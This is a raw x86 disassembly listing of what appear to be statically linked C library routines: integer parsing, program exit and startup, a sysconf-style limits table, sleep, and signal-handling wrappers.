804d931: 75 f6 jne 0x804d929 | |
804d933: 83 f8 2b cmp $0x2b,%eax | |
804d936: 74 0e je 0x804d946 | |
804d938: 31 ed xor %ebp,%ebp | |
804d93a: 83 f8 2d cmp $0x2d,%eax | |
804d93d: 75 0a jne 0x804d949 | |
804d93f: bd 01 00 00 00 mov $0x1,%ebp | |
804d944: eb 02 jmp 0x804d948 | |
804d946: 31 ed xor %ebp,%ebp | |
804d948: 43 inc %ebx | |
804d949: 89 cf mov %ecx,%edi | |
804d94b: f7 c6 ef ff ff ff test $0xffffffef,%esi | |
804d951: 75 24 jne 0x804d977 | |
804d953: 83 c6 0a add $0xa,%esi | |
804d956: 80 3b 30 cmpb $0x30,(%ebx) | |
804d959: 75 12 jne 0x804d96d | |
804d95b: 43 inc %ebx | |
804d95c: 83 ee 02 sub $0x2,%esi | |
804d95f: 89 df mov %ebx,%edi | |
804d961: 8a 03 mov (%ebx),%al | |
804d963: 83 c8 20 or $0x20,%eax | |
804d966: 3c 78 cmp $0x78,%al | |
804d968: 75 03 jne 0x804d96d | |
804d96a: 01 f6 add %esi,%esi | |
804d96c: 43 inc %ebx | |
804d96d: 83 fe 10 cmp $0x10,%esi | |
804d970: 7e 05 jle 0x804d977 | |
804d972: be 10 00 00 00 mov $0x10,%esi | |
804d977: 8d 46 fe lea -0x2(%esi),%eax | |
804d97a: 31 d2 xor %edx,%edx | |
804d97c: 83 f8 22 cmp $0x22,%eax | |
804d97f: 77 61 ja 0x804d9e2 | |
804d981: 83 c8 ff or $0xffffffff,%eax | |
804d984: 31 d2 xor %edx,%edx | |
804d986: f7 f6 div %esi | |
804d988: 88 54 24 0b mov %dl,0xb(%esp) | |
804d98c: 31 d2 xor %edx,%edx | |
804d98e: 89 44 24 04 mov %eax,0x4(%esp) | |
804d992: eb 02 jmp 0x804d996 | |
804d994: 89 df mov %ebx,%edi | |
804d996: 8a 03 mov (%ebx),%al | |
804d998: 8d 48 d0 lea -0x30(%eax),%ecx | |
804d99b: 80 f9 09 cmp $0x9,%cl | |
804d99e: 76 0c jbe 0x804d9ac | |
804d9a0: 83 c8 20 or $0x20,%eax | |
804d9a3: b1 28 mov $0x28,%cl | |
804d9a5: 3c 60 cmp $0x60,%al | |
804d9a7: 76 03 jbe 0x804d9ac | |
804d9a9: 8d 48 a9 lea -0x57(%eax),%ecx | |
804d9ac: 0f b6 c1 movzbl %cl,%eax | |
804d9af: 39 f0 cmp %esi,%eax | |
804d9b1: 7d 2f jge 0x804d9e2 | |
804d9b3: 43 inc %ebx | |
804d9b4: 3b 54 24 04 cmp 0x4(%esp),%edx | |
804d9b8: 77 08 ja 0x804d9c2 | |
804d9ba: 75 1c jne 0x804d9d8 | |
804d9bc: 3a 4c 24 0b cmp 0xb(%esp),%cl | |
804d9c0: 76 16 jbe 0x804d9d8 | |
804d9c2: 8a 44 24 2c mov 0x2c(%esp),%al | |
804d9c6: 21 c5 and %eax,%ebp | |
804d9c8: e8 e9 eb ff ff call 0x804c5b6 | |
804d9cd: 83 ca ff or $0xffffffff,%edx | |
804d9d0: c7 00 22 00 00 00 movl $0x22,(%eax) | |
804d9d6: eb bc jmp 0x804d994 | |
804d9d8: 0f af d6 imul %esi,%edx | |
804d9db: 0f b6 c1 movzbl %cl,%eax | |
804d9de: 01 c2 add %eax,%edx | |
804d9e0: eb b2 jmp 0x804d994 | |
804d9e2: 83 7c 24 24 00 cmpl $0x0,0x24(%esp) | |
804d9e7: 74 06 je 0x804d9ef | |
804d9e9: 8b 44 24 24 mov 0x24(%esp),%eax | |
804d9ed: 89 38 mov %edi,(%eax) | |
804d9ef: 89 e8 mov %ebp,%eax | |
804d9f1: 3c 01 cmp $0x1,%al | |
804d9f3: 19 db sbb %ebx,%ebx | |
804d9f5: 81 eb 00 00 00 80 sub $0x80000000,%ebx | |
804d9fb: 83 7c 24 2c 00 cmpl $0x0,0x2c(%esp) | |
804da00: 74 11 je 0x804da13 | |
804da02: 39 da cmp %ebx,%edx | |
804da04: 76 0d jbe 0x804da13 | |
804da06: e8 ab eb ff ff call 0x804c5b6 | |
804da0b: 89 da mov %ebx,%edx | |
804da0d: c7 00 22 00 00 00 movl $0x22,(%eax) | |
804da13: 89 e8 mov %ebp,%eax | |
804da15: 84 c0 test %al,%al | |
804da17: 74 02 je 0x804da1b | |
804da19: f7 da neg %edx | |
804da1b: 83 c4 0c add $0xc,%esp | |
804da1e: 89 d0 mov %edx,%eax | |
804da20: 5b pop %ebx | |
804da21: 5e pop %esi | |
804da22: 5f pop %edi | |
804da23: 5d pop %ebp | |
804da24: c3 ret | |
804da25: 56 push %esi | |
804da26: 53 push %ebx | |
804da27: 83 ec 18 sub $0x18,%esp | |
804da2a: 8b 74 24 24 mov 0x24(%esp),%esi | |
804da2e: 68 68 f0 04 08 push $0x804f068 | |
804da33: 68 99 dd 04 08 push $0x804dd99 | |
804da38: 8d 5c 24 10 lea 0x10(%esp),%ebx | |
804da3c: 53 push %ebx | |
804da3d: e8 5a 03 00 00 call 0x804dd9c | |
804da42: c7 04 24 68 f0 04 08 movl $0x804f068,(%esp) | |
804da49: e8 4b 03 00 00 call 0x804dd99 | |
804da4e: a1 e4 f0 04 08 mov 0x804f0e4,%eax | |
804da53: 83 c4 10 add $0x10,%esp | |
804da56: 85 c0 test %eax,%eax | |
804da58: 74 09 je 0x804da63 | |
804da5a: 83 ec 0c sub $0xc,%esp | |
804da5d: 56 push %esi | |
804da5e: ff d0 call *%eax | |
804da60: 83 c4 10 add $0x10,%esp | |
804da63: 50 push %eax | |
804da64: 50 push %eax | |
804da65: 6a 01 push $0x1 | |
804da67: 53 push %ebx | |
804da68: e8 2f 03 00 00 call 0x804dd9c | |
804da6d: e8 e8 02 00 00 call 0x804dd5a | |
804da72: b8 00 00 00 00 mov $0x0,%eax | |
804da77: 83 c4 10 add $0x10,%esp | |
804da7a: 85 c0 test %eax,%eax | |
804da7c: 74 05 je 0x804da83 | |
804da7e: e8 7d 25 fb f7 call 0x0 | |
804da83: 83 ec 0c sub $0xc,%esp | |
804da86: 56 push %esi | |
804da87: e8 b0 06 00 00 call 0x804e13c | |
804da8c: 55 push %ebp | |
804da8d: 57 push %edi | |
804da8e: 56 push %esi | |
804da8f: 53 push %ebx | |
804da90: 81 ec ac 01 00 00 sub $0x1ac,%esp | |
804da96: b8 20 00 00 00 mov $0x20,%eax | |
804da9b: 8b 94 24 c0 01 00 00 mov 0x1c0(%esp),%edx | |
804daa2: 85 d2 test %edx,%edx | |
804daa4: 75 10 jne 0x804dab6 | |
804daa6: e9 58 01 00 00 jmp 0x804dc03 | |
804daab: c7 84 84 24 01 00 00 movl $0x0,0x124(%esp,%eax,4) | |
804dab2: 00 00 00 00 | |
804dab6: 48 dec %eax | |
804dab7: 79 f2 jns 0x804daab | |
804dab9: c7 84 24 a8 01 00 00 movl $0x0,0x1a8(%esp) | |
804dac0: 00 00 00 00 | |
804dac4: 89 94 24 a4 01 00 00 mov %edx,0x1a4(%esp) | |
804dacb: 50 push %eax | |
804dacc: 50 push %eax | |
804dacd: 6a 11 push $0x11 | |
804dacf: 8d 9c 24 30 01 00 00 lea 0x130(%esp),%ebx | |
804dad6: 53 push %ebx | |
804dad7: e8 ce 0c 00 00 call 0x804e7aa | |
804dadc: 83 c4 10 add $0x10,%esp | |
804dadf: 85 c0 test %eax,%eax | |
804dae1: 0f 88 20 01 00 00 js 0x804dc07 | |
804dae7: 50 push %eax | |
804dae8: 8d b4 24 a8 00 00 00 lea 0xa8(%esp),%esi | |
804daef: 56 push %esi | |
804daf0: 53 push %ebx | |
804daf1: 6a 00 push $0x0 | |
804daf3: e8 bb 0a 00 00 call 0x804e5b3 | |
804daf8: 83 c4 10 add $0x10,%esp | |
804dafb: 85 c0 test %eax,%eax | |
804dafd: 0f 85 04 01 00 00 jne 0x804dc07 | |
804db03: 50 push %eax | |
804db04: 50 push %eax | |
804db05: 6a 11 push $0x11 | |
804db07: 56 push %esi | |
804db08: e8 79 0c 00 00 call 0x804e786 | |
804db0d: 83 c4 10 add $0x10,%esp | |
804db10: ba 20 00 00 00 mov $0x20,%edx | |
804db15: 85 c0 test %eax,%eax | |
804db17: 74 10 je 0x804db29 | |
804db19: e9 b3 00 00 00 jmp 0x804dbd1 | |
804db1e: c7 84 94 24 01 00 00 movl $0x0,0x124(%esp,%edx,4) | |
804db25: 00 00 00 00 | |
804db29: 4a dec %edx | |
804db2a: 79 f2 jns 0x804db1e | |
804db2c: 50 push %eax | |
804db2d: 50 push %eax | |
804db2e: 6a 11 push $0x11 | |
804db30: 8d 84 24 30 01 00 00 lea 0x130(%esp),%eax | |
804db37: 50 push %eax | |
804db38: e8 6d 0c 00 00 call 0x804e7aa | |
804db3d: 83 c4 10 add $0x10,%esp | |
804db40: 85 c0 test %eax,%eax | |
804db42: 0f 88 bf 00 00 00 js 0x804dc07 | |
804db48: 50 push %eax | |
804db49: 8d 44 24 1c lea 0x1c(%esp),%eax | |
804db4d: 50 push %eax | |
804db4e: 6a 00 push $0x0 | |
804db50: 6a 11 push $0x11 | |
804db52: e8 84 04 00 00 call 0x804dfdb | |
804db57: 83 c4 10 add $0x10,%esp | |
804db5a: 85 c0 test %eax,%eax | |
804db5c: 79 28 jns 0x804db86 | |
804db5e: e8 53 ea ff ff call 0x804c5b6 | |
804db63: 89 c3 mov %eax,%ebx | |
804db65: 8b 30 mov (%eax),%esi | |
804db67: 55 push %ebp | |
804db68: 6a 00 push $0x0 | |
804db6a: 8d 84 24 ac 00 00 00 lea 0xac(%esp),%eax | |
804db71: 50 push %eax | |
804db72: 6a 02 push $0x2 | |
804db74: e8 3a 0a 00 00 call 0x804e5b3 | |
804db79: 83 c8 ff or $0xffffffff,%eax | |
804db7c: 83 c4 10 add $0x10,%esp | |
804db7f: 89 33 mov %esi,(%ebx) | |
804db81: e9 84 00 00 00 jmp 0x804dc0a | |
804db86: 83 7c 24 18 01 cmpl $0x1,0x18(%esp) | |
804db8b: 8d ac 24 a4 00 00 00 lea 0xa4(%esp),%ebp | |
804db92: 8d 9c 24 a4 01 00 00 lea 0x1a4(%esp),%ebx | |
804db99: 75 25 jne 0x804dbc0 | |
804db9b: 57 push %edi | |
804db9c: 57 push %edi | |
804db9d: 53 push %ebx | |
804db9e: 53 push %ebx | |
804db9f: e8 8f 09 00 00 call 0x804e533 | |
804dba4: 89 c7 mov %eax,%edi | |
804dba6: e8 0b ea ff ff call 0x804c5b6 | |
804dbab: 83 c4 0c add $0xc,%esp | |
804dbae: 89 c3 mov %eax,%ebx | |
804dbb0: 8b 30 mov (%eax),%esi | |
804dbb2: 6a 00 push $0x0 | |
804dbb4: 55 push %ebp | |
804dbb5: 6a 02 push $0x2 | |
804dbb7: e8 f7 09 00 00 call 0x804e5b3 | |
804dbbc: 89 33 mov %esi,(%ebx) | |
804dbbe: eb 23 jmp 0x804dbe3 | |
804dbc0: 56 push %esi | |
804dbc1: 6a 00 push $0x0 | |
804dbc3: 55 push %ebp | |
804dbc4: 6a 02 push $0x2 | |
804dbc6: e8 e8 09 00 00 call 0x804e5b3 | |
804dbcb: 5a pop %edx | |
804dbcc: 59 pop %ecx | |
804dbcd: 53 push %ebx | |
804dbce: 53 push %ebx | |
804dbcf: eb 0b jmp 0x804dbdc | |
804dbd1: 50 push %eax | |
804dbd2: 50 push %eax | |
804dbd3: 8d 84 24 ac 01 00 00 lea 0x1ac(%esp),%eax | |
804dbda: 50 push %eax | |
804dbdb: 50 push %eax | |
804dbdc: e8 52 09 00 00 call 0x804e533 | |
804dbe1: 89 c7 mov %eax,%edi | |
804dbe3: 83 c4 10 add $0x10,%esp | |
804dbe6: 85 ff test %edi,%edi | |
804dbe8: 74 19 je 0x804dc03 | |
804dbea: 31 c0 xor %eax,%eax | |
804dbec: 81 bc 24 a8 01 00 00 cmpl $0x1dcd64ff,0x1a8(%esp) | |
804dbf3: ff 64 cd 1d | |
804dbf7: 0f 9f c0 setg %al | |
804dbfa: 03 84 24 a4 01 00 00 add 0x1a4(%esp),%eax | |
804dc01: eb 07 jmp 0x804dc0a | |
804dc03: 31 c0 xor %eax,%eax | |
804dc05: eb 03 jmp 0x804dc0a | |
804dc07: 83 c8 ff or $0xffffffff,%eax | |
804dc0a: 81 c4 ac 01 00 00 add $0x1ac,%esp | |
804dc10: 5b pop %ebx | |
804dc11: 5e pop %esi | |
804dc12: 5f pop %edi | |
804dc13: 5d pop %ebp | |
804dc14: c3 ret | |
804dc15: 83 ec 0c sub $0xc,%esp | |
804dc18: 8b 44 24 10 mov 0x10(%esp),%eax | |
804dc1c: 3d 95 00 00 00 cmp $0x95,%eax | |
804dc21: 77 11 ja 0x804dc34 | |
804dc23: ff 24 85 0c ea 04 08 jmp *0x804ea0c(,%eax,4) | |
804dc2a: b8 01 00 00 00 mov $0x1,%eax | |
804dc2f: e9 22 01 00 00 jmp 0x804dd56 | |
804dc34: e8 7d e9 ff ff call 0x804c5b6 | |
804dc39: c7 00 16 00 00 00 movl $0x16,(%eax) | |
804dc3f: e9 e5 00 00 00 jmp 0x804dd29 | |
804dc44: b8 00 00 02 00 mov $0x20000,%eax | |
804dc49: e9 08 01 00 00 jmp 0x804dd56 | |
804dc4e: b8 64 00 00 00 mov $0x64,%eax | |
804dc53: e9 fe 00 00 00 jmp 0x804dd56 | |
804dc58: b8 00 00 01 00 mov $0x10000,%eax | |
804dc5d: e9 f4 00 00 00 jmp 0x804dd56 | |
804dc62: 83 c4 0c add $0xc,%esp | |
804dc65: e9 f7 06 00 00 jmp 0x804e361 | |
804dc6a: b8 06 00 00 00 mov $0x6,%eax | |
804dc6f: e9 e2 00 00 00 jmp 0x804dd56 | |
804dc74: 83 c4 0c add $0xc,%esp | |
804dc77: e9 7c 07 00 00 jmp 0x804e3f8 | |
804dc7c: b8 00 80 00 00 mov $0x8000,%eax | |
804dc81: e9 d0 00 00 00 jmp 0x804dd56 | |
804dc86: b8 e8 03 00 00 mov $0x3e8,%eax | |
804dc8b: e9 c6 00 00 00 jmp 0x804dd56 | |
804dc90: b8 00 40 00 00 mov $0x4000,%eax | |
804dc95: e9 bc 00 00 00 jmp 0x804dd56 | |
804dc9a: b8 00 10 00 00 mov $0x1000,%eax | |
804dc9f: e9 b2 00 00 00 jmp 0x804dd56 | |
804dca4: b8 f4 01 00 00 mov $0x1f4,%eax | |
804dca9: e9 a8 00 00 00 jmp 0x804dd56 | |
804dcae: b8 08 00 00 00 mov $0x8,%eax | |
804dcb3: e9 9e 00 00 00 jmp 0x804dd56 | |
804dcb8: b8 00 00 00 80 mov $0x80000000,%eax | |
804dcbd: e9 94 00 00 00 jmp 0x804dd56 | |
804dcc2: b8 00 80 ff ff mov $0xffff8000,%eax | |
804dcc7: e9 8a 00 00 00 jmp 0x804dd56 | |
804dccc: b8 ff ff 00 00 mov $0xffff,%eax | |
804dcd1: e9 80 00 00 00 jmp 0x804dd56 | |
804dcd6: b8 09 00 00 00 mov $0x9,%eax | |
804dcdb: eb 79 jmp 0x804dd56 | |
804dcdd: 50 push %eax | |
804dcde: 50 push %eax | |
804dcdf: 6a 00 push $0x0 | |
804dce1: 6a 01 push $0x1 | |
804dce3: e8 7c 04 00 00 call 0x804e164 | |
804dce8: 83 c4 10 add $0x10,%esp | |
804dceb: 85 c0 test %eax,%eax | |
804dced: 79 10 jns 0x804dcff | |
804dcef: eb 38 jmp 0x804dd29 | |
804dcf1: b8 7f 00 00 00 mov $0x7f,%eax | |
804dcf6: eb 5e jmp 0x804dd56 | |
804dcf8: b8 10 00 00 00 mov $0x10,%eax | |
804dcfd: eb 57 jmp 0x804dd56 | |
804dcff: b8 b0 0d 03 00 mov $0x30db0,%eax | |
804dd04: eb 50 jmp 0x804dd56 | |
804dd06: b8 ff ff ff 7f mov $0x7fffffff,%eax | |
804dd0b: eb 49 jmp 0x804dd56 | |
804dd0d: b8 00 01 00 00 mov $0x100,%eax | |
804dd12: eb 42 jmp 0x804dd56 | |
804dd14: b8 20 00 00 00 mov $0x20,%eax | |
804dd19: eb 3b jmp 0x804dd56 | |
804dd1b: b8 04 00 00 00 mov $0x4,%eax | |
804dd20: eb 34 jmp 0x804dd56 | |
804dd22: b8 00 04 00 00 mov $0x400,%eax | |
804dd27: eb 2d jmp 0x804dd56 | |
804dd29: 83 c8 ff or $0xffffffff,%eax | |
804dd2c: eb 28 jmp 0x804dd56 | |
804dd2e: b8 80 ff ff ff mov $0xffffff80,%eax | |
804dd33: eb 21 jmp 0x804dd56 | |
804dd35: b8 14 00 00 00 mov $0x14,%eax | |
804dd3a: eb 1a jmp 0x804dd56 | |
804dd3c: b8 63 00 00 00 mov $0x63,%eax | |
804dd41: eb 13 jmp 0x804dd56 | |
804dd43: b8 00 08 00 00 mov $0x800,%eax | |
804dd48: eb 0c jmp 0x804dd56 | |
804dd4a: b8 ff 00 00 00 mov $0xff,%eax | |
804dd4f: eb 05 jmp 0x804dd56 | |
804dd51: b8 ff 7f 00 00 mov $0x7fff,%eax | |
804dd56: 83 c4 0c add $0xc,%esp | |
804dd59: c3 ret | |
804dd5a: 53 push %ebx | |
804dd5b: bb 00 f0 04 08 mov $0x804f000,%ebx | |
804dd60: 81 eb 00 f0 04 08 sub $0x804f000,%ebx | |
804dd66: 83 ec 08 sub $0x8,%esp | |
804dd69: c1 fb 02 sar $0x2,%ebx | |
804dd6c: eb 07 jmp 0x804dd75 | |
804dd6e: ff 14 9d 00 f0 04 08 call *0x804f000(,%ebx,4) | |
804dd75: 4b dec %ebx | |
804dd76: 83 fb ff cmp $0xffffffff,%ebx | |
804dd79: 75 f3 jne 0x804dd6e | |
804dd7b: a1 f4 f0 04 08 mov 0x804f0f4,%eax | |
804dd80: 85 c0 test %eax,%eax | |
804dd82: 74 02 je 0x804dd86 | |
804dd84: ff d0 call *%eax | |
804dd86: 8b 0d f8 f0 04 08 mov 0x804f0f8,%ecx | |
804dd8c: 85 c9 test %ecx,%ecx | |
804dd8e: 74 05 je 0x804dd95 | |
804dd90: 5b pop %ebx | |
804dd91: 58 pop %eax | |
804dd92: 5b pop %ebx | |
804dd93: ff e1 jmp *%ecx | |
804dd95: 58 pop %eax | |
804dd96: 5a pop %edx | |
804dd97: 5b pop %ebx | |
804dd98: c3 ret | |
804dd99: 31 c0 xor %eax,%eax | |
804dd9b: c3 ret | |
804dd9c: c3 ret | |
804dd9d: 56 push %esi | |
804dd9e: 53 push %ebx | |
804dd9f: 83 ec 0c sub $0xc,%esp | |
804dda2: 89 c6 mov %eax,%esi | |
804dda4: 89 d3 mov %edx,%ebx | |
804dda6: 6a 01 push $0x1 | |
804dda8: 50 push %eax | |
804dda9: e8 8f e2 ff ff call 0x804c03d | |
804ddae: 83 c4 10 add $0x10,%esp | |
804ddb1: 40 inc %eax | |
804ddb2: 75 19 jne 0x804ddcd | |
804ddb4: 50 push %eax | |
804ddb5: 50 push %eax | |
804ddb6: 53 push %ebx | |
804ddb7: 68 64 ec 04 08 push $0x804ec64 | |
804ddbc: e8 23 e4 ff ff call 0x804c1e4 | |
804ddc1: 83 c4 10 add $0x10,%esp | |
804ddc4: 39 f0 cmp %esi,%eax | |
804ddc6: 74 05 je 0x804ddcd | |
804ddc8: e8 04 fa ff ff call 0x804d7d1 | |
804ddcd: 58 pop %eax | |
804ddce: 5b pop %ebx | |
804ddcf: 5e pop %esi | |
804ddd0: c3 ret | |
804ddd1: 83 ec 0c sub $0xc,%esp | |
804ddd4: 80 3d fc f0 04 08 00 cmpb $0x0,0x804f0fc | |
804dddb: 75 30 jne 0x804de0d | |
804dddd: b8 00 00 00 00 mov $0x0,%eax | |
804dde2: c6 05 fc f0 04 08 01 movb $0x1,0x804f0fc | |
804dde9: c7 05 f0 f0 04 08 00 movl $0x1000,0x804f0f0 | |
804ddf0: 10 00 00 | |
804ddf3: 85 c0 test %eax,%eax | |
804ddf5: 74 05 je 0x804ddfc | |
804ddf7: e8 04 22 fb f7 call 0x0 | |
804ddfc: b8 00 00 00 00 mov $0x0,%eax | |
804de01: 85 c0 test %eax,%eax | |
804de03: 74 08 je 0x804de0d | |
804de05: 83 c4 0c add $0xc,%esp | |
804de08: e9 f3 21 fb f7 jmp 0x0 | |
804de0d: 83 c4 0c add $0xc,%esp | |
804de10: c3 ret | |
804de11: 55 push %ebp | |
804de12: 57 push %edi | |
804de13: 56 push %esi | |
804de14: 53 push %ebx | |
804de15: 81 ec 8c 00 00 00 sub $0x8c,%esp | |
804de1b: 8b 84 24 b8 00 00 00 mov 0xb8(%esp),%eax | |
804de22: 8b bc 24 a8 00 00 00 mov 0xa8(%esp),%edi | |
804de29: a3 e8 f0 04 08 mov %eax,0x804f0e8 | |
804de2e: 8b 84 24 b4 00 00 00 mov 0xb4(%esp),%eax | |
804de35: a3 f8 f0 04 08 mov %eax,0x804f0f8 | |
804de3a: 8b 84 24 a4 00 00 00 mov 0xa4(%esp),%eax | |
804de41: 8b ac 24 ac 00 00 00 mov 0xac(%esp),%ebp | |
804de48: 8d 14 87 lea (%edi,%eax,4),%edx | |
804de4b: 8d 42 04 lea 0x4(%edx),%eax | |
804de4e: a3 ec f0 04 08 mov %eax,0x804f0ec | |
804de53: 3b 07 cmp (%edi),%eax | |
804de55: 75 06 jne 0x804de5d | |
804de57: 89 15 ec f0 04 08 mov %edx,0x804f0ec | |
804de5d: 51 push %ecx | |
804de5e: 6a 78 push $0x78 | |
804de60: 6a 00 push $0x0 | |
804de62: 8d 44 24 20 lea 0x20(%esp),%eax | |
804de66: 50 push %eax | |
804de67: e8 9b e7 ff ff call 0x804c607 | |
804de6c: a1 ec f0 04 08 mov 0x804f0ec,%eax | |
804de71: 83 c4 10 add $0x10,%esp | |
804de74: 83 38 00 cmpl $0x0,(%eax) | |
804de77: 8d 40 04 lea 0x4(%eax),%eax | |
804de7a: 75 f8 jne 0x804de74 | |
804de7c: 89 c3 mov %eax,%ebx | |
804de7e: eb 1b jmp 0x804de9b | |
804de80: 8b 03 mov (%ebx),%eax | |
804de82: 83 f8 0e cmp $0xe,%eax | |
804de85: 77 11 ja 0x804de98 | |
804de87: 52 push %edx | |
804de88: 6a 08 push $0x8 | |
804de8a: 53 push %ebx | |
804de8b: 8d 44 c4 20 lea 0x20(%esp,%eax,8),%eax | |
804de8f: 50 push %eax | |
804de90: e8 1e 08 00 00 call 0x804e6b3 | |
804de95: 83 c4 10 add $0x10,%esp | |
804de98: 83 c3 08 add $0x8,%ebx | |
804de9b: 83 3b 00 cmpl $0x0,(%ebx) | |
804de9e: 75 e0 jne 0x804de80 | |
804dea0: 8d 44 24 14 lea 0x14(%esp),%eax | |
804dea4: e8 21 09 00 00 call 0x804e7ca | |
804dea9: e8 23 ff ff ff call 0x804ddd1 | |
804deae: 8b 44 24 48 mov 0x48(%esp),%eax | |
804deb2: 85 c0 test %eax,%eax | |
804deb4: 75 04 jne 0x804deba | |
804deb6: 66 b8 00 10 mov $0x1000,%ax | |
804deba: a3 f0 f0 04 08 mov %eax,0x804f0f0 | |
804debf: 83 7c 24 70 ff cmpl $0xffffffff,0x70(%esp) | |
804dec4: 75 20 jne 0x804dee6 | |
804dec6: e8 72 05 00 00 call 0x804e43d | |
804decb: 89 c3 mov %eax,%ebx | |
804decd: e8 da 04 00 00 call 0x804e3ac | |
804ded2: 39 c3 cmp %eax,%ebx | |
804ded4: 75 2f jne 0x804df05 | |
804ded6: e8 f7 04 00 00 call 0x804e3d2 | |
804dedb: 89 c3 mov %eax,%ebx | |
804dedd: e8 a4 04 00 00 call 0x804e386 | |
804dee2: 39 c3 cmp %eax,%ebx | |
804dee4: 75 1f jne 0x804df05 | |
804dee6: 8b 44 24 70 mov 0x70(%esp),%eax | |
804deea: 83 f8 ff cmp $0xffffffff,%eax | |
804deed: 74 40 je 0x804df2f | |
804deef: 3b 44 24 78 cmp 0x78(%esp),%eax | |
804def3: 75 10 jne 0x804df05 | |
804def5: 8b 84 24 80 00 00 00 mov 0x80(%esp),%eax | |
804defc: 3b 84 24 88 00 00 00 cmp 0x88(%esp),%eax | |
804df03: 74 2a je 0x804df2f | |
804df05: ba 00 00 02 00 mov $0x20000,%edx | |
804df0a: 31 c0 xor %eax,%eax | |
804df0c: e8 8c fe ff ff call 0x804dd9d | |
804df11: ba 02 00 02 00 mov $0x20002,%edx | |
804df16: b8 01 00 00 00 mov $0x1,%eax | |
804df1b: e8 7d fe ff ff call 0x804dd9d | |
804df20: ba 02 00 02 00 mov $0x20002,%edx | |
804df25: b8 02 00 00 00 mov $0x2,%eax | |
804df2a: e8 6e fe ff ff call 0x804dd9d | |
804df2f: be 00 f0 04 08 mov $0x804f000,%esi | |
804df34: 8b 07 mov (%edi),%eax | |
804df36: 81 ee 00 f0 04 08 sub $0x804f000,%esi | |
804df3c: a3 80 f0 04 08 mov %eax,0x804f080 | |
804df41: c1 fe 02 sar $0x2,%esi | |
804df44: 8b 84 24 b0 00 00 00 mov 0xb0(%esp),%eax | |
804df4b: 31 db xor %ebx,%ebx | |
804df4d: a3 f4 f0 04 08 mov %eax,0x804f0f4 | |
804df52: eb 08 jmp 0x804df5c | |
804df54: ff 14 9d 00 f0 04 08 call *0x804f000(,%ebx,4) | |
804df5b: 43 inc %ebx | |
804df5c: 39 f3 cmp %esi,%ebx | |
804df5e: 72 f4 jb 0x804df54 | |
804df60: 85 ed test %ebp,%ebp | |
804df62: 74 02 je 0x804df66 | |
804df64: ff d5 call *%ebp | |
804df66: be 00 f0 04 08 mov $0x804f000,%esi | |
804df6b: 31 db xor %ebx,%ebx | |
804df6d: 81 ee 00 f0 04 08 sub $0x804f000,%esi | |
804df73: c1 fe 02 sar $0x2,%esi | |
804df76: eb 08 jmp 0x804df80 | |
804df78: ff 14 9d 00 f0 04 08 call *0x804f000(,%ebx,4) | |
804df7f: 43 inc %ebx | |
804df80: 39 f3 cmp %esi,%ebx | |
804df82: 72 f4 jb 0x804df78 | |
804df84: b8 b6 c5 04 08 mov $0x804c5b6,%eax | |
804df89: 85 c0 test %eax,%eax | |
804df8b: 74 0b je 0x804df98 | |
804df8d: e8 24 e6 ff ff call 0x804c5b6 | |
804df92: c7 00 00 00 00 00 movl $0x0,(%eax) | |
804df98: b8 00 00 00 00 mov $0x0,%eax | |
804df9d: 85 c0 test %eax,%eax | |
804df9f: 74 0b je 0x804dfac | |
804dfa1: e8 5a 20 fb f7 call 0x0 | |
804dfa6: c7 00 00 00 00 00 movl $0x0,(%eax) | |
804dfac: 50 push %eax | |
804dfad: ff 35 ec f0 04 08 pushl 0x804f0ec | |
804dfb3: 57 push %edi | |
804dfb4: ff b4 24 b0 00 00 00 pushl 0xb0(%esp) | |
804dfbb: ff 94 24 b0 00 00 00 call *0xb0(%esp) | |
804dfc2: 89 04 24 mov %eax,(%esp) | |
804dfc5: e8 5b fa ff ff call 0x804da25 | |
804dfca: 90 nop | |
804dfcb: 90 nop | |
804dfcc: b8 ad 00 00 00 mov $0xad,%eax | |
804dfd1: cd 80 int $0x80 | |
804dfd3: 58 pop %eax | |
804dfd4: b8 77 00 00 00 mov $0x77,%eax | |
804dfd9: cd 80 int $0x80 | |
804dfdb: 56 push %esi | |
804dfdc: 53 push %ebx | |
804dfdd: 81 ec 24 01 00 00 sub $0x124,%esp | |
804dfe3: 8b 9c 24 34 01 00 00 mov 0x134(%esp),%ebx | |
804dfea: 8b b4 24 38 01 00 00 mov 0x138(%esp),%esi | |
804dff1: 85 db test %ebx,%ebx | |
804dff3: 74 4f je 0x804e044 | |
804dff5: 8b 03 mov (%ebx),%eax | |
804dff7: 89 84 24 98 00 00 00 mov %eax,0x98(%esp) | |
804dffe: 8d 43 04 lea 0x4(%ebx),%eax | |
804e001: 52 push %edx | |
804e002: 68 80 00 00 00 push $0x80 | |
804e007: 50 push %eax | |
804e008: 8d 84 24 b0 00 00 00 lea 0xb0(%esp),%eax | |
804e00f: 50 push %eax | |
804e010: e8 9e 06 00 00 call 0x804e6b3 | |
804e015: 8b 83 84 00 00 00 mov 0x84(%ebx),%eax | |
804e01b: 0d 00 00 00 04 or $0x4000000,%eax | |
804e020: 89 84 24 ac 00 00 00 mov %eax,0xac(%esp) | |
804e027: 83 c4 10 add $0x10,%esp | |
804e02a: b8 cc df 04 08 mov $0x804dfcc,%eax | |
804e02f: f6 83 84 00 00 00 04 testb $0x4,0x84(%ebx) | |
804e036: 75 05 jne 0x804e03d | |
804e038: b8 d3 df 04 08 mov $0x804dfd3,%eax | |
804e03d: 89 84 24 a0 00 00 00 mov %eax,0xa0(%esp) | |
804e044: 31 d2 xor %edx,%edx | |
804e046: 85 f6 test %esi,%esi | |
804e048: 74 04 je 0x804e04e | |
804e04a: 8d 54 24 0c lea 0xc(%esp),%edx | |
804e04e: 31 c0 xor %eax,%eax | |
804e050: 85 db test %ebx,%ebx | |
804e052: 74 07 je 0x804e05b | |
804e054: 8d 84 24 98 00 00 00 lea 0x98(%esp),%eax | |
804e05b: 6a 08 push $0x8 | |
804e05d: 52 push %edx | |
804e05e: 50 push %eax | |
804e05f: ff b4 24 3c 01 00 00 pushl 0x13c(%esp) | |
804e066: e8 96 00 00 00 call 0x804e101 | |
804e06b: 83 c4 10 add $0x10,%esp | |
804e06e: 89 c3 mov %eax,%ebx | |
804e070: 85 f6 test %esi,%esi | |
804e072: 74 35 je 0x804e0a9 | |
804e074: 85 c0 test %eax,%eax | |
804e076: 78 31 js 0x804e0a9 | |
804e078: 8b 44 24 0c mov 0xc(%esp),%eax | |
804e07c: 89 06 mov %eax,(%esi) | |
804e07e: 50 push %eax | |
804e07f: 68 80 00 00 00 push $0x80 | |
804e084: 8d 44 24 20 lea 0x20(%esp),%eax | |
804e088: 50 push %eax | |
804e089: 8d 46 04 lea 0x4(%esi),%eax | |
804e08c: 50 push %eax | |
